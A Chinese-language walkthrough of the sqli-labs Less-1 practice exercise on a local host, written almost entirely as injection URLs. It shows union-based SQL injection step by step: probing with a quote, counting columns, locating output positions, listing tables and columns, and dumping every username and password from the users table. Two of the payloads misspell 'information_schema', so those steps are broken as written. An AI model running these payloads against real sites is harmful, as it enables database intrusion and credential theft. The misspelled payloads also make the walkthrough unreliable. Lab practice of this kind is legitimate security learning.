一、判断是注入点的类型
1、单引号测试
在id=1后面加上闭合符号 ' , 如果报错,则在后面加上--+将后面注释掉,如报不报错,则证明为字符型
http://127.0.0.1/sqlilabsphp7/Less-1/?id=1' -- +
二、判断字段数
order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。
http://127.0.0.1/sqlilabsphp7/Less-1/?id=1 order by 4 -- +
三、使用联合查询 确定显示位置
http://127.0.0.1/sqlilabsphp7/Less-1/?id=1' union select 1,2,3 -- +
因为查询语句前面是正确的,所以显示前面的内容,后面的没有显示,所以跟该语句 使得前面错误显示后面的内容
http://127.0.0.1/sqlilabsphp7/Less-1/?id=-1' union select 1,2,3 -- +
四、查询数据库名
因为字段有三个字段所以 1 在这里只是为了占位置,version()版本号,database()库名
http://127.0.0.1/sqlilabsphp7/Less-1/?id=-1' union select 1,database(),version() -- +
五、查询表名
http://127.0.0.1/sqlilabsphp7/Less-1/?id=-1' union select 1,group_concat(table_name),3 from infromation_schema.tables where table_schema='security' -- +
一共有以下表:
emails referers uagents users 很明显其中users是管理员的表
六、查询列名
http://127.0.0.1/sqlilabsphp7/Less-1/?id=-1' union select 1,group_concat(column_name),3 from infromation_schema.columns where table_schema='security' and table_name='users'-- +
七、查询用户名以及密码
因为我们已经知道了表名,所以直接可以过滤,否则会找到很多很多其他表的数据影响浏览。
http://127.0.0.1/sqlilabsphp7/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- +
至此 获得了所有的用户名以及密码 ,注入成功。
文章至此结束,下无内容 ,谢谢浏览